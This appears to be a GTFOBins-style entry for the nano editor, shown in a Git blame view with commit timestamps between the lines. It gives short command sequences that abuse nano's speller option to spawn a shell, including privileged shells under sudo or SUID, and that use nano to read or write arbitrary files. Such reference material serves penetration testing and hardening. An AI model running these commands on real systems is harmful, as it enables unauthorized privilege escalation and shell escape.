32 lines
557 B
Markdown
Raw Normal View History

2018-05-29 18:23:33 +01:00
---
functions:
2018-10-05 18:55:38 +01:00
shell:
- code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
nano -s $TF /etc/hosts
^T
2018-05-29 18:23:33 +01:00
file-write:
2018-07-16 15:01:50 +02:00
- code: |
nano file_to_write
DATA
2018-07-16 15:01:50 +02:00
^O
2018-07-04 19:26:52 +01:00
file-read:
2018-07-16 15:01:50 +02:00
- code: nano file_to_read
2018-10-05 18:55:38 +01:00
suid:
- code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh -p' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
./nano -s $TF /etc/hosts
^T
2018-10-05 18:55:38 +01:00
sudo:
- code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
sudo nano -s $TF /etc/hosts
^T
2018-05-29 18:23:33 +01:00
---